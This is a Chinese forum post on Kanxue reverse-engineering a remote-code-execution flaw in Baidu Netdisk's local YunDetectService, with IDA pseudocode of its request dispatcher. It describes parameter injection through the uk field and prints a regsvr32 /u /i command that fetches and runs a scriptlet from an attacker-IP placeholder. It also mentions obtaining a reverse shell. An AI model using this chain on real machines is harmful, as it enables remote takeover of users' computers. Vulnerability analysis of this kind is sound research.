首页
社区
课程
招聘
[原创] 百度网盘RCE分析记录
发表于: 10小时前 138

[原创] 百度网盘RCE分析记录

10小时前
138

某日,在看雪论坛看到一篇关于百度网盘的RCE漏洞,很感兴趣,然后收集了相关资料,虽然各个平台写的都非常详细,也都包含了Poc运行版本之类的,但是总归想要自己研究透彻一点,于是开搞。

我找到参考的资料如下

这两篇文章当中非常详细且专业的讲解了漏洞的原理。

站在巨人肩膀上,自己再做一个总结,班门弄斧,简单来说,这是一个本地服务未授权访问导致的命令注入漏洞,最终通过“白利用”(利用系统自带合法的 regsvr32scrobj.dll)实现了远程代码执行。首先,下载对应的版本7.59.5.104,然后正常启动。安装后,会启动一个名为 YunDetectService.exe 的服务,默认监听本地 TCP 10000 端口 。该服务通过 HTTP/HTTPS 协议接收请求,且无需身份认证 。在处理 OpenSafeBox 接口时,程序会接收 uk 参数 。YunDetectService.exe 接收到 uk 参数后,会将其作为 -userkey 的值,通过字符串拼接的方式直接传递给主程序 BaiduNetdisk.exe 。没有对 uk 参数进行任何安全检测或过滤,导致攻击者可以注入额外的命令行参数 。

攻击者通过精心构造 uk 参数,实际上构建了一条复杂的攻击链,流程如下:

1.注入 BaiduNetdisk.exe 的功能参数

攻击者不仅仅传入 userkey,还注入了 -install regdll 参数 。这个参数原本是用来注册百度网盘自己的 DLL 文件(YunShellExt.dll)的 。

路径穿越与 DLL 劫持

正常的注册流程会拼接 DLL 路径。攻击者利用路径穿越符 ..\ 将目标 DLL 路径指向了系统自带的 C:\windows\system32\scrobj.dll 。注意这里有一个限制条件:构造路径穿越时,必须包含 \Users\[用户名]\AppData\Roaming\baidu\BaiduNetdisk\,因此攻击者必须知道目标计算机的用户名 。

注入 regsvr32.exe 实现远程加载

BaiduNetdisk.exe 最终会调用系统工具 regsvr32.exe 来注册上述 DLL。攻击者使用双引号 " 截断了原本的文件路径参数,并注入了 regsvr32 的特有参数 /u /i。最终会让命令变成让 regsvr32 去加载一个远程的 XML 文件(SCT脚本):

执行远程脚本 (JScript)

系统加载远程的 poc.xml 文件,该文件实际上是一个 Scriptlet 组件。其中包含的 JScript 代码(例如 WScript.Shell 运行 calc.exe)会被系统执行,从而完成 RCE 。

理解原理以后,把安装目录当中的YunDetectService.exe拖出来放进ida当中看看。一开始想的是,搜索OpenSafeBox或是uk这两个字符串。但是我直接搜opensafebox没结果
图片描述
然后找uk这个字符串,好像找到一个相关的,进去查看这个部分。
图片描述
查看引用,发现都不是我想要的,代码部分的分析,我就不献丑了。
图片描述
图片描述
这三个都不是,有点灰心,然后我想到两个文章当中都有说过一个函数GetVersion,利用已知函数反推分发逻辑,首先确定的就是有这么个函数,返回版本号。在web当中是这样的
图片描述
搜索这个部分当中的关键字version
图片描述
然后找到引用
图片描述
查看这个部分的代码:

伪代码:

首先确定这个就是刚刚看到的功能点,所有的 HTTP 请求处理逻辑一定汇聚在同一个类似于“功能分发函数”(Dispatcher)里。就像FastBackServer一样。“分发函数”应该会有大量的if/else或者switch结构的代码。找到调用 sub_4F7690 的上级函数。这个函数就应该是“分发函数”。
图片描述
跳转到这个函数看下
图片描述
伪代码:

果然不出所料,大量的if/else的结构,我们可以通过伪代码清晰地看到它是如何解析 method 参数并分发给不同函数的。虽然字符串可能被加密(或使用全局变量引用 dword_6BC5xx),但结构出卖了它。

我们来逐一分析这个分发逻辑:

sub_4F7690 = GetVersion

代码行 107-111:else { sub_4F7690(a2, v44); ... }

与之对应的比较逻辑:wcsicmp(v26, dword_6BC578)。这意味着 dword_6BC578 实际上指向的就是字符串 "GetVersion"

sub_4F7960 = DownloadShareItems(我在上面手动命名的函数)

sub_4F7C10 = DownloadSelfownItems(同上)

到这里,接下来需要找到我给出的两个链接当中的大佬说的漏洞,也就是说还是需要找到OpenSafeBox方法的参数uk相关的操作。

(这个截图是我给出的链接当中的分析)
图片描述
来分析这里别的功能的部分,比较有嫌疑的是下面三个分支。

-----------------------无关紧要的部分----------------------------------

sub_4F7740: 这个函数紧跟着 GetVersion (dword_6BC578),使用的是 wcsicmp 而不是 sub_411BE0(这可能是一个自定义的比较函数)。这看起来像是一个简单的 Getter,很可能对应GetPcCode。跳转查看
图片描述

-----------------------无关紧要的部分----------------------------------

这里根据文档 OpenSafeBox 的参数:它需要 uk 参数。 应该和上面部分我找到的 DownloadShareItems 结构差不多。所以我觉得第一段是比较像的。跳转查看
图片描述

看到这个部分关键字其实就大概确定自己找对方向了

这里,继续跟进

sub_4B7040部分伪代码

v3 = sub_4B1BA0(v2);,还需要继续跟进。

最后来到真正拼接的部分

这个就是最终有漏洞的部分

这里就是漏洞成因了

漏洞原理验证: 文档中提到“代码中没有对该参数进行安全检测和过滤,因此此处存在命令行参数注入” 。 在这行代码中,程序没有对第二个 %s 做任何转义(没有引号包裹,没有过滤空格)。只要你在 uk 参数里输入空格,就能“逃逸”出 -userkey 的范围,伪造出新的参数(例如 -install regdll)。

代码的第 45 行

回顾整个过程,通过逆向分析完整复现了数据流向:

知其然,知其所以然,接下来到了利用的部分。

poc.xml

图片描述
接着尝试一下反弹shell

在kali当中准备一个xml

然后在kali当中开启一个web服务,然后访问,就会得到一个反弹shell

图片描述
图片描述

https://bbs.kanxue.com/thread-288381.htm
https://0ddK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3@1`./articles/vuls/456820.html
https://bbs.kanxue.com/thread-288381.htm
https://f27K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3@1`./articles/vuls/456820.html
regsvr32.exe /u /i:http://攻击者IP/poc.xml scrobj.dll
regsvr32.exe /u /i:http://攻击者IP/poc.xml scrobj.dll
// 这个函数是GetVersion函数
int __stdcall sub_4F7690(_DWORD *a1, int a2)
{
  sub_4B44E0("7.59.5.104");
  sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0);
  *a1 = 200;
  if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 )
    (*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16);
  return 0;
}
// 这个函数是GetVersion函数
int __stdcall sub_4F7690(_DWORD *a1, int a2)
{
  sub_4B44E0("7.59.5.104");
  sub_4B4880(a2, "{\"version\":\"%s\",\"errorno\":0}", 0);
  *a1 = 200;
  if ( _InterlockedDecrement((volatile signed __int32 *)0xFFFFFFFC) <= 0 )
    (*(void (__stdcall **)(int))(*MEMORY[0xFFFFFFF0] + 4))(-16);
  return 0;
}
int __thiscall sub_4F7250(_DWORD *this, _DWORD *a2, int a3, int *a4, int a5)
{
  int v6; // esi
  bool v7; // zf
  int v8; // ecx
  int v9; // esi
  int v10; // eax
  int v11; // edx
  int v12; // ecx
  volatile signed __int32 *v13; // esi
  int v14; // ecx
  int v15; // edi
  int *v16; // eax
  int *v17; // edx
  int v18; // ecx
  OLECHAR *v19; // ecx
  int v20; // ecx
  int v21; // ecx
  OLECHAR *v22; // ecx
  const wchar_t *v23; // ecx
  int v24; // ecx
  int v25; // ecx
  const wchar_t *v26; // esi
  int v27; // ecx
  int v28; // ecx
  int v29; // ecx
  int v30; // eax
  int v31; // ecx
  int v32; // ecx
  OLECHAR *v33; // ecx
  int v34; // esi
  int v36; // [esp-8h] [ebp-44h]
  int v37; // [esp-8h] [ebp-44h]
  int v38; // [esp-8h] [ebp-44h]
  int v39[6]; // [esp-4h] [ebp-40h] BYREF
  int *v40; // [esp+14h] [ebp-28h]
  int *v41; // [esp+18h] [ebp-24h]
  OLECHAR *v42; // [esp+1Ch] [ebp-20h]
  int v43; // [esp+20h] [ebp-1Ch]
  int v44; // [esp+24h] [ebp-18h]
  int *v45; // [esp+28h] [ebp-14h] BYREF
  int v46; // [esp+38h] [ebp-4h]
 
  v42 = (OLECHAR *)this;
  v6 = a3;
  *a4 = 0;
  v7 = *(this + 1) == 0;
  v44 = a3;
  v40 = a4;
  v43 = a5;
  if ( v7 )
  {
    v8 = sub_40AE70();
    if ( !v8 )
      sub_40ABD0(-2147467259);
    v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 12))(v8) + 16;
    v45 = (int *)v9;
    v46 = 0;
    if ( sub_4F8230(v39[1], v39[2]) )
    {
      v10 = *(this + 9);
      if ( v10 )
      {
        if ( *(_DWORD *)(*(_DWORD *)(v10 + 68) - 12) )
        {
          sub_411F30(v10 + 68);
          v39[0] = (int)&v45;
          *a2 = 200;
          sub_411F30(v39[0]);
          v46 = -1;
          v11 = (int)(v45 - 4);
          *v40 = 1;
          if ( _InterlockedDecrement((volatile signed __int32 *)(v11 + 12)) <= 0 )
          {
            v12 = *(_DWORD *)v11;
            v39[0] = v11;
LABEL_54:
            (*(void (__thiscall **)(int, int))(*(_DWORD *)v12 + 4))(v12, v39[0]);
            return 0;
          }
          return 0;
        }
      }
    }
    v46 = -1;
    v13 = (volatile signed __int32 *)(v9 - 16);
    if ( _InterlockedDecrement(v13 + 3) <= 0 )
      (*(void (__thiscall **)(volatile signed __int32, volatile signed __int32 *))(**(_DWORD **)v13 + 4))(*v13, v13);
    v6 = v44;
  }
  sub_40A770(&off_699574);
  v40 = this + 7;
  v15 = sub_412410(&v45);
  v16 = v40;
  if ( v15 != *v40 )
  {
    if ( !(unsigned __int8)sub_411D90(&v45, v15 + 16) )
      goto LABEL_16;
    v16 = v40;
  }
  v15 = *v16;
LABEL_16:
  v17 = v45 - 4;
  if ( _InterlockedDecrement(v45 - 1) <= 0 )
    (*(void (__thiscall **)(int, int *))(*(_DWORD *)*v17 + 4))(*v17, v17);
  v39[5] = (int)&off_69B0D8;
  v39[0] = v14;
  v46 = 1;
  v45 = v39;
  sub_40A770(&off_6998F4);
  v36 = v18;
  LOBYTE(v46) = 2;
  sub_40A770(&off_699914);
  LOBYTE(v46) = 1;
  sub_5015C0(v19, v36, v39[0]);
  if ( *((_DWORD *)v42 + 10) < 0x1F4u )
  {
    sub_412190("{\"info\":\"Frequency Invalid request!\",\"error\":31034}", 0x33u);
    v39[0] = v20;
    v41 = v39;
    *a2 = 400;
    sub_40A770(L"frequency_request");
    LOBYTE(v46) = 3;
LABEL_20:
    v37 = v21;
    sub_40A770(&off_699914);
    LOBYTE(v46) = 1;
    sub_5015C0(v22, v37, v39[0]);
    return 0;
  }
  v23 = (const wchar_t *)*((_DWORD *)v42 + 3);
  if ( *((_DWORD *)v23 - 3) )
  {
    if ( !dword_6BC590 )
      sub_40ABD0(-2147467259);
    if ( !wcsicmp(v23, dword_6BC590) )
    {
      sub_4F8420(a2, v6);
      v39[0] = v24;
      v41 = v39;
      sub_40A770(L"download_request");
      LOBYTE(v46) = 4;
      goto LABEL_20;
    }
  }
  v25 = sub_40AE70();
  if ( !v25 )
    sub_40ABD0(-2147467259);
  v26 = (const wchar_t *)((*(int (__thiscall **)(int))(*(_DWORD *)v25 + 12))(v25) + 16);
  v45 = (int *)v26;
  LOBYTE(v46) = 5;
  if ( v15 != *v40 )
  {
    sub_408580(v15 + 20);
    v26 = (const wchar_t *)v45;
  }
  if ( *((_DWORD *)v26 - 3) )
  {
    if ( !dword_6BC578 )
      sub_40ABD0(-2147467259);
    if ( wcsicmp(v26, dword_6BC578) )
    {
      if ( !dword_6BC57C )
        sub_40ABD0(-2147467259);
      if ( !wcsicmp(v26, dword_6BC57C) )
      {
        sub_4F7740(a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC584) )
      {
        DownloadSelfownItems(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC580) )
      {
        DownloadShareItems(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC588) )
      {
        sub_4F7830(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC58C) )
      {
        sub_4F7E20(a2, v44);
        goto LABEL_52;
      }
      v30 = sub_411BE0(dword_6BC594);
      v39[0] = v44;
      if ( v30 )
      {
        sub_4F7800(a2, v39[0]);
        v39[0] = v32;
        v41 = v39;
        sub_40A770(L"invalid_request");
        LOBYTE(v46) = 9;
      }
      else
      {
        sub_4F8970(v43, a2, v39[0]);
        v39[0] = v31;
        v41 = v39;
        sub_40A770(&off_6999CC);
        LOBYTE(v46) = 8;
      }
    }
    else
    {
      sub_4F7690(a2, v44);
      v39[0] = v29;
      v41 = v39;
      sub_40A770(&off_6999A4);
      LOBYTE(v46) = 7;
    }
  }
  else
  {
    sub_412190("{\"info\":\"Invalid request!\"}", 0x1Bu);
    v39[0] = v27;
    v41 = v39;
    *a2 = 400;
    sub_40A770(L"invalid_request");
    LOBYTE(v46) = 6;
  }
  v38 = v28;
  sub_40A770(&off_699914);
  LOBYTE(v46) = 5;
  sub_5015C0(v33, v38, v39[0]);
LABEL_52:
  LOBYTE(v46) = 1;
  v34 = (int)(v26 - 8);
  if ( _InterlockedDecrement((volatile signed __int32 *)(v34 + 12)) <= 0 )
  {
    v12 = *(_DWORD *)v34;
    v39[0] = v34;
    goto LABEL_54;
  }
  return 0;
}
int __thiscall sub_4F7250(_DWORD *this, _DWORD *a2, int a3, int *a4, int a5)
{
  int v6; // esi
  bool v7; // zf
  int v8; // ecx
  int v9; // esi
  int v10; // eax
  int v11; // edx
  int v12; // ecx
  volatile signed __int32 *v13; // esi
  int v14; // ecx
  int v15; // edi
  int *v16; // eax
  int *v17; // edx
  int v18; // ecx
  OLECHAR *v19; // ecx
  int v20; // ecx
  int v21; // ecx
  OLECHAR *v22; // ecx
  const wchar_t *v23; // ecx
  int v24; // ecx
  int v25; // ecx
  const wchar_t *v26; // esi
  int v27; // ecx
  int v28; // ecx
  int v29; // ecx
  int v30; // eax
  int v31; // ecx
  int v32; // ecx
  OLECHAR *v33; // ecx
  int v34; // esi
  int v36; // [esp-8h] [ebp-44h]
  int v37; // [esp-8h] [ebp-44h]
  int v38; // [esp-8h] [ebp-44h]
  int v39[6]; // [esp-4h] [ebp-40h] BYREF
  int *v40; // [esp+14h] [ebp-28h]
  int *v41; // [esp+18h] [ebp-24h]
  OLECHAR *v42; // [esp+1Ch] [ebp-20h]
  int v43; // [esp+20h] [ebp-1Ch]
  int v44; // [esp+24h] [ebp-18h]
  int *v45; // [esp+28h] [ebp-14h] BYREF
  int v46; // [esp+38h] [ebp-4h]
 
  v42 = (OLECHAR *)this;
  v6 = a3;
  *a4 = 0;
  v7 = *(this + 1) == 0;
  v44 = a3;
  v40 = a4;
  v43 = a5;
  if ( v7 )
  {
    v8 = sub_40AE70();
    if ( !v8 )
      sub_40ABD0(-2147467259);
    v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 12))(v8) + 16;
    v45 = (int *)v9;
    v46 = 0;
    if ( sub_4F8230(v39[1], v39[2]) )
    {
      v10 = *(this + 9);
      if ( v10 )
      {
        if ( *(_DWORD *)(*(_DWORD *)(v10 + 68) - 12) )
        {
          sub_411F30(v10 + 68);
          v39[0] = (int)&v45;
          *a2 = 200;
          sub_411F30(v39[0]);
          v46 = -1;
          v11 = (int)(v45 - 4);
          *v40 = 1;
          if ( _InterlockedDecrement((volatile signed __int32 *)(v11 + 12)) <= 0 )
          {
            v12 = *(_DWORD *)v11;
            v39[0] = v11;
LABEL_54:
            (*(void (__thiscall **)(int, int))(*(_DWORD *)v12 + 4))(v12, v39[0]);
            return 0;
          }
          return 0;
        }
      }
    }
    v46 = -1;
    v13 = (volatile signed __int32 *)(v9 - 16);
    if ( _InterlockedDecrement(v13 + 3) <= 0 )
      (*(void (__thiscall **)(volatile signed __int32, volatile signed __int32 *))(**(_DWORD **)v13 + 4))(*v13, v13);
    v6 = v44;
  }
  sub_40A770(&off_699574);
  v40 = this + 7;
  v15 = sub_412410(&v45);
  v16 = v40;
  if ( v15 != *v40 )
  {
    if ( !(unsigned __int8)sub_411D90(&v45, v15 + 16) )
      goto LABEL_16;
    v16 = v40;
  }
  v15 = *v16;
LABEL_16:
  v17 = v45 - 4;
  if ( _InterlockedDecrement(v45 - 1) <= 0 )
    (*(void (__thiscall **)(int, int *))(*(_DWORD *)*v17 + 4))(*v17, v17);
  v39[5] = (int)&off_69B0D8;
  v39[0] = v14;
  v46 = 1;
  v45 = v39;
  sub_40A770(&off_6998F4);
  v36 = v18;
  LOBYTE(v46) = 2;
  sub_40A770(&off_699914);
  LOBYTE(v46) = 1;
  sub_5015C0(v19, v36, v39[0]);
  if ( *((_DWORD *)v42 + 10) < 0x1F4u )
  {
    sub_412190("{\"info\":\"Frequency Invalid request!\",\"error\":31034}", 0x33u);
    v39[0] = v20;
    v41 = v39;
    *a2 = 400;
    sub_40A770(L"frequency_request");
    LOBYTE(v46) = 3;
LABEL_20:
    v37 = v21;
    sub_40A770(&off_699914);
    LOBYTE(v46) = 1;
    sub_5015C0(v22, v37, v39[0]);
    return 0;
  }
  v23 = (const wchar_t *)*((_DWORD *)v42 + 3);
  if ( *((_DWORD *)v23 - 3) )
  {
    if ( !dword_6BC590 )
      sub_40ABD0(-2147467259);
    if ( !wcsicmp(v23, dword_6BC590) )
    {
      sub_4F8420(a2, v6);
      v39[0] = v24;
      v41 = v39;
      sub_40A770(L"download_request");
      LOBYTE(v46) = 4;
      goto LABEL_20;
    }
  }
  v25 = sub_40AE70();
  if ( !v25 )
    sub_40ABD0(-2147467259);
  v26 = (const wchar_t *)((*(int (__thiscall **)(int))(*(_DWORD *)v25 + 12))(v25) + 16);
  v45 = (int *)v26;
  LOBYTE(v46) = 5;
  if ( v15 != *v40 )
  {
    sub_408580(v15 + 20);
    v26 = (const wchar_t *)v45;
  }
  if ( *((_DWORD *)v26 - 3) )
  {
    if ( !dword_6BC578 )
      sub_40ABD0(-2147467259);
    if ( wcsicmp(v26, dword_6BC578) )
    {
      if ( !dword_6BC57C )
        sub_40ABD0(-2147467259);
      if ( !wcsicmp(v26, dword_6BC57C) )
      {
        sub_4F7740(a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC584) )
      {
        DownloadSelfownItems(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC580) )
      {
        DownloadShareItems(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC588) )
      {
        sub_4F7830(v42, a2, v44);
        goto LABEL_52;
      }
      if ( !sub_411BE0(dword_6BC58C) )
      {
        sub_4F7E20(a2, v44);
        goto LABEL_52;
      }
      v30 = sub_411BE0(dword_6BC594);
      v39[0] = v44;
      if ( v30 )
      {
        sub_4F7800(a2, v39[0]);
        v39[0] = v32;
        v41 = v39;
        sub_40A770(L"invalid_request");
        LOBYTE(v46) = 9;
      }
      else
      {
        sub_4F8970(v43, a2, v39[0]);
        v39[0] = v31;
        v41 = v39;
        sub_40A770(&off_6999CC);
        LOBYTE(v46) = 8;
      }
    }
    else
    {
      sub_4F7690(a2, v44);
      v39[0] = v29;
      v41 = v39;
      sub_40A770(&off_6999A4);
      LOBYTE(v46) = 7;
    }
  }
  else
  {
    sub_412190("{\"info\":\"Invalid request!\"}", 0x1Bu);
    v39[0] = v27;
    v41 = v39;
    *a2 = 400;
    sub_40A770(L"invalid_request");
    LOBYTE(v46) = 6;
  }
  v38 = v28;
  sub_40A770(&off_699914);
  LOBYTE(v46) = 5;

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 423
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
66666666
5小时前
0
游客
登录 | 注册 方可回帖
返回